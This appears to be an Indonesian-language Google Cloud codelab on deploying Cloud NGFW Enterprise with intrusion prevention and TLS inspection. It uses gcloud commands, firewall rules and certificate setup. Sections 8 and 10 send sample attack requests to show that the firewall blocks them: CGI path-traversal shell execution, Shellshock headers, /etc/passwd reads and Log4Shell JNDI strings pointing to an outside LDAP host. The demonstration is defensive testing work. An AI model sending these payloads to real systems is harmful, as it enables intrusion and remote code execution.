Codelab Cloud NGFW Enterprise [dengan TLS Inspection]

1. Pengantar

Cloud Next Generation Firewall (NGFW)

Cloud Next Generation Firewall adalah layanan firewall yang terdistribusi sepenuhnya dengan kemampuan perlindungan tingkat lanjut, segmentasi mikro, dan cakupan yang luas untuk melindungi workload Google Cloud Anda dari serangan internal dan eksternal.

Cloud NGFW memiliki manfaat berikut:

  • Layanan firewall terdistribusi: Cloud NGFW menyediakan penerapan berbasis host yang stateful dan terdistribusi sepenuhnya pada setiap workload untuk mengaktifkan arsitektur keamanan zero-trust.
  • Konfigurasi dan deployment yang disederhanakan: Cloud NGFW menerapkan kebijakan firewall jaringan dan hierarkis yang dapat dilampirkan ke node hierarki resource. Kebijakan ini memberikan pengalaman firewall yang konsisten di seluruh hierarki resource Google Cloud.
  • Kontrol terperinci dan mikro-segmentasi: Kombinasi kebijakan firewall dan Tag yang dikelola Identity and Access Management (IAM) memberikan kontrol yang baik untuk traffic utara-selatan dan timur-barat, hingga ke satu VM, di seluruh jaringan Virtual Private Cloud (VPC) dan organisasi.

Cloud NGFW tersedia di tingkat berikut:

  • Cloud Next Generation Firewall Essentials
  • Cloud Next Generation Firewall Standard
  • Cloud Next Generation Firewall Enterprise

Cloud NGFW Enterprise

Cloud NGFW Enterprise menambahkan Intrusion Prevention Service (IPS), kemampuan Lapisan 7, ke fabric Google Cloud Firewall yang terdistribusi. Pemeriksaan TLS didukung untuk mengizinkan pemeriksaan traffic terenkripsi TLS.

Sekarang Anda dapat men-deploy pemeriksaan Next Generation Firewall (NGFW) Lapisan 7 yang andal dengan kontrol terperinci, tanpa melakukan perubahan apa pun pada arsitektur jaringan atau konfigurasi perutean.

Untuk mengaktifkan dan men-deploy kontrol firewall Lapisan 7 dengan IPS, Anda perlu melakukan tugas berikut:

  • Membuat sekumpulan endpoint firewall zona yang dikelola Google Cloud.
  • Jika ingin, buat Kebijakan Pemeriksaan TLS.
  • Anda juga dapat membuat Konfigurasi Kepercayaan.
  • Kaitkan endpoint ini dengan jaringan Virtual Private Cloud (VPC) tempat Anda memerlukan layanan Cloud NGFW Enterprise.
  • Lakukan perubahan sederhana pada kebijakan firewall dan aturan firewall yang ada untuk menentukan profil pencegahan ancaman bagi berbagai jalur traffic.

Kebijakan firewall jaringan

Kebijakan firewall jaringan berfungsi sebagai penampung untuk aturan firewall. Aturan yang ditentukan dalam kebijakan firewall jaringan tidak diterapkan di mana pun hingga kebijakan dikaitkan dengan jaringan VPC. Setiap jaringan VPC dapat memiliki satu kebijakan firewall jaringan yang terkait. Kebijakan firewall jaringan mendukung Tag yang diatur IAM (atau hanya Tag) dalam aturan firewall, yang menggantikan tag jaringan saat ini dan dapat digunakan untuk memberikan identitas ke workload.

Berbagi kebijakan firewall jaringan di seluruh jaringan dan integrasi dengan Tag yang diatur IAM sangat menyederhanakan konfigurasi dan pengelolaan firewall.

Dengan diperkenalkannya kebijakan firewall jaringan, kebijakan firewall Google Cloud kini terdiri dari komponen berikut:

  1. Kebijakan Firewall Hierarkis
  2. Aturan Firewall VPC
  3. Kebijakan Firewall Jaringan ( Global dan Regional)

Kebijakan firewall hierarkis didukung di node organisasi dan folder dalam hierarki resource, sedangkan aturan firewall VPC dan kebijakan firewall jaringan diterapkan di tingkat VPC. Perbedaan besar antara aturan firewall VPC dan kebijakan firewall jaringan adalah aturan firewall VPC hanya dapat diterapkan ke satu jaringan VPC, sedangkan kebijakan firewall jaringan dapat dilampirkan ke satu VPC atau grup VPC, di antara manfaat lainnya seperti update batch.

Terakhir, kita juga memiliki aturan firewall tersirat yang disertakan dengan setiap jaringan VPC:

  • Aturan keluar yang tindakannya adalah izinkan, tujuannya adalah 0.0.0.0/0
  • Aturan masuk yang tindakannya adalah tolak, sumbernya adalah 0.0.0.0/0

Secara default, urutan penerapan ditampilkan dalam diagram berikut:

21b3bcabc469ffe.png

Perhatikan bahwa urutan penerapan antara aturan firewall VPC dan kebijakan firewall jaringan global dapat ditukar. Pelanggan dapat menentukan urutan penerapan kapan saja dengan perintah gcloud.

Tag

Tag yang terintegrasi dalam aturan kebijakan firewall jaringan yang baru adalah resource key-value pair yang ditentukan di organisasi atau tingkat project hierarki resource Google Cloud. Tag tersebut berisi kontrol akses IAM yang menentukan siapa yang dapat melakukan tindakan apa pada tag. Misalnya, izin Identity and Access Management (IAM) memungkinkan seseorang menentukan akun utama mana yang dapat menetapkan nilai ke tag dan akun utama mana yang dapat melampirkan tag ke resource. Jika aturan firewall jaringan mereferensikan Tag, aturan tersebut harus diterapkan ke resource untuk penerapan.

Tag mematuhi model resource pewarisan Google Cloud, yang berarti tag dan nilainya diteruskan ke seluruh hierarki dari induknya. Akibatnya, tag dapat dibuat di satu tempat, lalu digunakan oleh folder dan project lain di seluruh hierarki resource. Buka halaman ini untuk mengetahui detail tentang tag dan pembatasan akses.

Tag tidak boleh sama dengan tag jaringan. Yang terakhir adalah string yang dapat ditambahkan ke instance Compute Engine; string ini dikaitkan dengan instance dan akan hilang saat instance dinonaktifkan. Aturan firewall VPC dapat mencakup tag jaringan, tetapi karena tidak dianggap sebagai resource cloud, aturan tersebut tidak tunduk pada kontrol akses IAM.

Perhatikan bahwa Tag dan Tag yang diatur IAM digunakan secara bergantian dalam dokumen ini.

Yang akan Anda bangun

Codelab ini memerlukan satu project dan kemampuan untuk membuat jaringan VPC serta mengelola sejumlah resource jaringan dan keamanan. Tutorial ini akan menunjukkan cara Cloud NGFW Enterprise dapat menyediakan fungsi IPS dengan:

  • Memeriksa alur internet northbound dengan pemeriksaan TLS
  • Memeriksa alur intra-VPC [Timur-Barat] dengan pemeriksaan TLS

Aliran yang akan diperiksa akan dipilih menggunakan parameter pencocokan Cloud Firewall, termasuk 5-tuple (IP sumber, IP tujuan, protokol, port sumber, port tujuan) dan Tag.

3d0f288d3b92a295.png

Status akhir rulebase kebijakan firewall jaringan akan mirip dengan tabel di bawah:

Prioritas

Arah

Target

Sumber

Tujuan

Tindakan

Jenis

100

Masuk

Server_Tag

Pemeriksaan Kondisi

Semua

Izinkan

Essentials

200

Masuk

Client_Tag, Server_Tag

IAP

Semua

Izinkan

Essentials

800

Masuk

Server_Tag

10.0.0.0/24

10.0.0.0/24

Inspeksi L7

Enterprise

850

Keluar

Client_Tag

Semua

10.0.0.0/24

Izinkan

Essentials

900

Keluar

Client_Tag

Semua

Semua

Inspeksi L7

Enterprise

Yang akan Anda pelajari

  • Cara membuat kebijakan firewall jaringan.
  • Cara membuat dan menggunakan Tag dengan kebijakan firewall jaringan.
  • Cara mengonfigurasi dan menggunakan Cloud NGFW Enterprise dengan pemeriksaan TLS.

Yang Anda butuhkan

  • Project Google Cloud.
  • Pengetahuan tentang cara men-deploy instance dan mengonfigurasi komponen jaringan.
  • Pengetahuan tentang konfigurasi firewall VPC.

2. Sebelum memulai

Membuat/memperbarui variabel

Codelab ini menggunakan $variables untuk membantu penerapan konfigurasi gcloud di Cloud Shell.

Di Cloud Shell, jalankan perintah di bawah ini dengan mengganti informasi dalam tanda kurung sesuai kebutuhan:

gcloud config set project [project-id]
export project_id=$(gcloud config list --format="value(core.project)")
export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"`
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=ngfw-enterprise
export billing_project=[billing-project-id]

3. Mengaktifkan API

Aktifkan API jika Anda belum melakukannya:

gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

4. Pembuatan Endpoint Cloud NGFW Enterprise

Karena pembuatan Endpoint Enterprise Cloud NGFW memerlukan waktu sekitar 20 menit, endpoint akan dibuat terlebih dahulu dan penyiapan dasar dapat dilakukan secara paralel saat endpoint sedang dibuat.

Buat Profil Keamanan dan Grup Profil Keamanan:

gcloud network-security security-profiles threat-prevention \
  create $prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat

Output yang diharapkan:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to complete...done.                                                                                                                                 

Konfirmasi bahwa resource berhasil dibuat:

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

Output yang diharapkan (perhatikan bahwa format output dapat bervariasi sesuai dengan klien yang digunakan:

NAME: ngfw-enterprise-sp-threat

NAME: ngfw-enterprise-spg

Buat endpoint Cloud NGFW Enterprise:

gcloud network-security firewall-endpoints create $prefix-$zone \
  --zone=$zone \
  --organization $org_id \
  --billing-project=$billing_project

Jalankan perintah di bawah untuk mengonfirmasi bahwa endpoint sedang dibuat (CREATING).

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Output yang diharapkan (perhatikan bahwa format output dapat bervariasi sesuai dengan klien yang digunakan):

ID: $prefix-$zone
LOCATION: $zone
STATE: CREATING

Atau, jalankan perintah di bawah untuk mendapatkan detail selengkapnya:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

Output yang diharapkan:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
state: CREATING
updateTime: '2023-11-16T04:27:17.677731831Z'

Proses pembuatan memerlukan waktu sekitar 20 menit. Lanjutkan ke bagian Penyiapan Dasar untuk membuat resource yang diperlukan secara paralel.

5. Penyiapan Dasar

Jaringan dan subnet VPC

Jaringan VPC dan subnet

Buat jaringan VPC dan subnet:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Cloud NAT

Buat Cloud Router dan gateway Cloud NAT:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

Instance

Buat instance klien dan server web:

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils mtr iperf3 tcpdump -y'

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump iperf3 -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

Tag tingkat project

Tetapkan izin tagAdmin kepada pengguna jika diperlukan:

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

Buat kunci dan nilai Tag tingkat project:

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

Ikat tag ke instance:

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

Kebijakan firewall jaringan global

Buat kebijakan firewall jaringan global:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise with TLS" --global

Buat aturan Cloud Firewall Essential yang diperlukan untuk mengizinkan traffic dari rentang health-check dan identity-aware proxy:

gcloud compute network-firewall-policies rules create 100 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server,$project_id/$prefix-vpc-tags/$prefix-vpc-client \
--src-ip-ranges=35.235.240.0/20

Buat aturan Cloud Firewall yang diperlukan untuk mengizinkan traffic masuk east-west/intra-subnet dari rentang tertentu (aturan ini akan diperbarui untuk mengaktifkan Cloud NGFW Enterprise dengan pemeriksaan TLS):

gcloud compute network-firewall-policies rules create 800 \
        --description "allow ingress internal traffic from tagged clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --src-ip-ranges=10.0.0.0/24 \
        --dest-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

Kaitkan kebijakan firewall cloud ke jaringan VPC:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

6. Asosiasi Endpoint Cloud Firewall

Tentukan variabel lingkungan jika Anda belum melakukannya dan/atau lebih memilih pendekatan skrip.

Pastikan pembuatan Endpoint Cloud Firewall berhasil diselesaikan. Hanya lanjutkan setelah status ditampilkan sebagai AKTIF (selama pembuatan, status yang diharapkan adalah PEMBENTUKAN):

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Output yang diharapkan (perhatikan bahwa format output dapat bervariasi sesuai dengan klien yang digunakan):

ID: $prefix-$zone
LOCATION: $zone
STATE: ACTIVE

Atau, jalankan perintah di bawah untuk mendapatkan detail selengkapnya:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

Output yang diharapkan:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zonefirewallEndpoints/$prefix-$zone
state: ACTIVE
updateTime: '2023-11-16T04:49:53.776349352Z'

Kaitkan endpoint Cloud Firewall ke jaringan VPC:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc \
  --endpoint $prefix-$zone \
  --organization $org_id

Proses pengaitan memerlukan waktu sekitar 10 menit. Hanya lanjutkan ke bagian TLS setelah status ditampilkan sebagai AKTIF (selama pembuatan, status yang diharapkan adalah Pembuatan):

gcloud network-security firewall-endpoint-associations list

Output yang diharapkan setelah selesai:

ID: ngfw-enterprise-association
LOCATION: $zone
NETWORK: $prefix-vpc
ENDPOINT: $prefix-$zone
STATE: ACTIVE

Atau, jalankan perintah di bawah untuk mendapatkan detail selengkapnya:

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

Output yang diharapkan:

createTime: '2023-11-16T04:57:06.108377222Z'
firewallEndpoint: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
name: projects/$project_id/locations/$zone/firewallEndpointAssociations/$prefix-association
network: projects/$project_id/global/networks/$prefix-vpc
state: ACTIVE
updateTime: '2023-11-16T04:57:06.108377222Z'

7. Mengonfigurasi Resource TLS

Buat kumpulan CA. Resource ini akan digunakan untuk menyimpan sertifikat CA Root yang kita buat untuk NGFW Enterprise.

gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=enterprise

Buat Root CA. Ini adalah sertifikat CA yang akan digunakan untuk menandatangani sertifikat tambahan untuk permintaan melalui NGFW Enterprise.

gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Test"

Jika Anda melihat pesan di bawah, jawab y:

The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA?

Do you want to continue (y/N)? 

Membuat akun layanan. Akun layanan ini akan digunakan untuk meminta sertifikat untuk NGFW Enterprise:

gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id

Tetapkan izin IAM untuk akun layanan:

gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester

Buat file YAML Kebijakan TLS. File ini akan berisi informasi tentang resource tertentu:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
EOF

Mengimpor Kebijakan pemeriksaan TLS:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

Perbarui pengaitan endpoint untuk mengaktifkan TLS:

gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region

Dapatkan sertifikat CA dan tambahkan ke penyimpanan CA klien:

gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt

Transfer sertifikat CA ke klien:

gcloud compute scp --tunnel-through-iap  ~/$prefix-CA-Root.crt  $prefix-$zone-client:~/  --zone=$zone

SSH ke VM, pindahkan sertifikat CA ke /usr/local/share/ca-certificates, lalu perbarui penyimpanan CA:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

sudo mv ngfw-enterprise-CA-Root.crt /usr/local/share/ca-certificates/

sudo update-ca-certificates

Keluar kembali ke cloudshell.

Proses Penandatanganan Sertifikat Server:

Di cloudshell, instal library kriptografi Pyca menggunakan perintah pip:

pip install --user "cryptography>=2.2.0"

Agar Google Cloud SDK dapat menggunakan library kriptografi Pyca, Anda harus mengaktifkan paket situs.

export CLOUDSDK_PYTHON_SITEPACKAGES=1

Buat Sertifikat Server:

gcloud privateca certificates create --issuer-location=$region \
  --issuer-pool $prefix-CA-Pool \
  --subject "CN=Cloud NGFW Enterprise,O=Google" \
  --ip-san=10.0.0.3 \
  --generate-key \
  --key-output-file=./key.pem \
  --cert-output-file=./cert.pem 

Tindakan ini akan menghasilkan file cert.pem dan key.pem di cloudshell. Selanjutnya, transfer sertifikat dan kunci ke server.

gcloud compute scp --tunnel-through-iap  ~/cert.pem  $prefix-$zone-www:~/  --zone=$zone

gcloud compute scp --tunnel-through-iap  ~/key.pem  $prefix-$zone-www:~/  --zone=$zone

Gunakan SSH ke server untuk memperbarui detail sertifikat untuk Apache:

gcloud compute ssh $prefix-$zone-www --tunnel-through-iap --zone $zone

Pindahkan sertifikat dan kunci ke folder tertentu:

sudo mv cert.pem /etc/ssl/certs/
sudo mv key.pem /etc/ssl/private/

Update konfigurasi ssl untuk menggunakan sertifikat yang ditandatangani:

sudo sed -i 's/ssl-cert-snakeoil.pem/cert.pem/g' /etc/apache2/sites-available/default-ssl.conf 

sudo sed -i 's/ssl-cert-snakeoil.key/key.pem/g' /etc/apache2/sites-available/default-ssl.conf

Mulai ulang Apache:

sudo systemctl restart apache2

Verifikasi status Apache:

sudo systemctl status apache2

Seharusnya aktif (berjalan).

Keluar dari VM dan lanjutkan di cloudshell.

8. Memvalidasi Konektivitas Utara dan Timur/Barat

Jalankan perintah di bawah di Cloud Shell dan catat IP target yang akan digunakan:

gcloud compute instances list --filter="name=($prefix-$zone-www)"

Buka tab baru dan mulai koneksi SSH ke VM klien melalui IAP (Anda harus menentukan variabel di tab baru):

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Jalankan perintah di bawah dan catat IP target yang akan digunakan. Buat variabel yang mengganti nilai dalam tanda kurung dengan IP yang dicatat dari langkah sebelumnya dan pastikan variabel tersebut dapat dijangkau:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

Curl IP Pribadi dan pastikan IP tersebut dapat dijangkau:

curl https://$target_privateip --max-time 2

Hasil yang diharapkan untuk permintaan curl:

Page on ngfw-enterprise-$zone-www in network ngfw-enterprise-vpc zone $zone

Kirim contoh serangan ke IP. Server web harus merespons semua permintaan, yang mengonfirmasi bahwa tidak ada pemeriksaan/pencegahan L7:

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2 
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2 

Contoh Hasil yang diharapkan (IP pribadi):

400
404
400
200
200

Demikian pula, kirim permintaan ke tujuan internet:

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2 

Contoh hasil yang diharapkan (tujuan internet):

400
404
400
403
403

Keluar dari terminal VM dan kembali ke cloud shell.

9. Membuat dan Memperbarui Aturan Firewall untuk Pemeriksaan TLS

Sebelumnya, kita telah mengonfigurasi aturan firewall untuk mengizinkan traffic masuk ke server dari subnet internal. Sekarang kita akan memperbarui aturan masuk yang ada dan menetapkan tindakan ke apply_security_profile_group. Tindakan ini akan mengaktifkan pemeriksaan L7 E/W dengan TLS:

gcloud compute network-firewall-policies rules update 800 \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--tls-inspect

Buat aturan baru untuk memeriksa pemeriksaan L7 northbound dengan TLS.

gcloud compute network-firewall-policies rules create 900 \
        --description "Inspect egress traffic over TCP 443" \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=0.0.0.0/0 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=/networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
      --tls-inspect

Buat aturan baru untuk mengizinkan EGRESS untuk E/W guna mencegah pemeriksaan ganda.

gcloud compute network-firewall-policies rules create 850 \
        --description "Prevent double inspection" \
        --action=ALLOW \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=10.0.0.0/24 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client 

10. Memvalidasi Pemeriksaan TLS Arah Utara

Beralih kembali ke tab VM klien atau hubungkan lagi:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Kirim contoh serangan ke tujuan internet:

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2

Tidak ada respons yang diterima sesuai dengan output yang diharapkan di bawah, yang mengonfirmasi bahwa contoh serangan kini diblokir:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

Tetapkan variabel ke IP server dari sebelumnya:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

Kirim contoh permintaan TLS ke server:

curl https://$target_privateip --max-time 2

Output yang diharapkan:

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

Mengapa permintaan ini gagal? Hal ini karena Firewall menerima sertifikat dari server yang tidak tepercaya. Jika hal ini terjadi, sertifikat yang ditandatangani sendiri akan diteruskan kembali ke klien. Kita perlu menambahkan sertifikat CA sebagai bagian dari konfigurasi kepercayaan untuk mengaktifkan kepercayaan.

Kembali ke cloud shell.

11. Mengonfigurasi Konfigurasi Kepercayaan

Dapatkan sertifikat CA Root dan tetapkan sebagai variabel dengan format yang tepat.

export NGFW_ROOT_CA=$(gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" | sed 's/^/      /')

Konfigurasikan file YAML Trust Config. File ini berisi detail kepercayaan seperti sertifikat CA:

cat > trust_config.yaml << EOF
name: "$prefix-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
${NGFW_ROOT_CA}
EOF

Perintah di atas menyertakan sertifikat Root CA Anda sebagai bagian dari trust store karena sertifikat server Anda ditandatangani menggunakan Root CA. Artinya, firewall akan memercayai sertifikat apa pun yang diterima dan telah ditandatangani oleh Root CA Anda - selain CA Publik jika kebijakan TLS Anda menetapkan excludePublicCaSet ke salah (false).

Periksa konten konfigurasi kepercayaan.

cat trust_config.yaml 

Contoh Output:

Perhatikan dengan cermat perataan indentasi sertifikat. Format ini harus diikuti dengan tepat.

name: "ngfw-enterprise-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
     -----BEGIN CERTIFICATE-----
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
